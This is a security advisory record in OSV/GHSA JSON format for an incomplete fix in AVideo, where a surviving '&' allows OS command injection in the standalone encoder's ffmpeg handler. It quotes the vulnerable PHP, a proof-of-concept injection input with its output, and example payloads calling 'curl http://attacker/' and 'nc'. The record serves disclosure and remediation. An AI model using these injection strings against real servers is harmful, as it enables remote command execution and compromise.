{"id":"GHSA-wc3f-xc32-435f","aliases":["CVE-2026-55173"],"title":"AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"### Summary\n\nThe fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that `sanitizeFFmpegCommand()` (`plugin/API/standAlone/functions.php`) failed to strip `$(...)` command substitution, allowing OS command injection at the `execAsync()` `sh -c` sink. The fix (commit `25c8ab90`) added `$`, `(`, `)`, `{`, `}`, `\\n`, `\\r` to the denylist character class and a `str_replace('&&', '', ...)`. It still does **not** neutralize a single `&` (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs.\n\nVerified at master HEAD.\n\n### The surviving gap\n\nHEAD `sanitizeFFmpegCommand` (`functions.php`):\n```php\n$command = str_replace('&&', '', $command);                    // only the doubled form\n$command = preg_replace('/\\s*&?>.*(?:2>&1)?/', '', $command);  // strips '&' only when followed by '>'\n$command = preg_replace('/[;|`<>$()\\n\\r{}]/', '', $command);   // char class has no '&'\n// then requires the result to start with 'ffmpeg'\n```\nA single `&` is therefore preserved. `ffmpeg ... & <cmd>` passes the sanitizer and the `strpos(trim($command),'ffmpeg')===0` prefix gate.\n\n### Sink (unchanged)\n\n`plugin/API/standAlone/ffmpeg.json.php:418` -> `execAsync($ffmpegCommand, $keyword)`. In `objects/functionsExec.php::execAsync`:\n```php\n$command = addcslashes($command, '\"');   // line 686 — escapes only the double-quote\n$commandWithKeyword = \"nohup sh -c \\\"$command & echo \\\\$! > /tmp/$keyword.pid\\\" > /dev/null 2>&1 &\";  // line 705\nexec($commandWithKeyword, ...);          // line 712 — PHP exec() runs via /bin/sh -c\n```\nThe sanitized command is embedded inside an inner `sh -c \"...\"`. A bare `&` in `$command` separates commands for that inner shell, so the injected command executes. `addcslashes` escaping only `\"` does not stop `&`.\n\n### Reachability\n\n`ffmpeg.json.php` builds the command from `_decryptString(getInput('codeToExecEncrypted'))`. This is the **same** threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (`AV:N/AC:H/PR:N`).\n\n### Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)\n\nByte-faithful PHP harness: `sanitizeFFmpegCommand` copied verbatim from HEAD + the `execAsync` `sh -c` wrapping copied from `functionsExec.php`:\n```\nattacker input : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4\nafter sanitize : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4\nampersand survived : YES   passes prefix : YES\nfinal sh -c string:\n  nohup sh -c \"ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo $! > /tmp/testkw.pid\" > /dev/null 2>&1 &\n>> injected touch executed: YES (/tmp/avideo_amp_rce_proof)\n```\nThe sanitizer leaves `&` intact and the injected `touch` runs at the sink.\n\n### Impact\n\nArbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple `&`-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the `>` strip, but command execution (e.g. `& curl http://attacker/...`, `& nc ...`, dropping/running a file) is not.\n\n### Remediation\n\nStop applying a metacharacter denylist to a `sh -c` sink. Build the ffmpeg invocation as an argv array with `escapeshellarg()` per token (the project already uses `escapeshellarg()` at 137 sites) instead of interpolating `$command` into `sh -c \"...\"`. If the denylist is kept as defense-in-depth, add `&` to the stripped set — but the denylist approach has now missed two metacharacters in a row (`$()` then `&`).","severity":"high","score":8.1,"published":"2026-06-23T17:42:17.000Z","modified":"2026-09-10T03:50:50.810Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"wwbn/avideo","sources":[{"name":"OSV · GHSA-wc3f-xc32-435f","url":"https://osv.dev/vulnerability/GHSA-wc3f-xc32-435f"}],"ranges":[{"events":[{"introduced":"0"},{"last_affected":"29.0"}],"type":"ECOSYSTEM"}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"],"fixed":[]}],"sourceAffected":[],"references":["https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f","https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f","https://github.com/WWBN/AVideo"],"sources":[{"name":"OSV","id":"GHSA-wc3f-xc32-435f","modified":"2026-09-10T03:50:50.810710022Z","url":"https://osv.dev/vulnerability/GHSA-wc3f-xc32-435f"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1}],"products":[],"remediation":[],"kev":{"status":"not-listed","checkedAt":"2026-10-28T23:45:31.121Z"},"coverage":[{"source":"NVD","status":"not-checked"},{"source":"GHSA","status":"not-checked"},{"source":"EUVD","status":"not-checked"},{"source":"EPSS","status":"not-checked"}],"evidence":[]}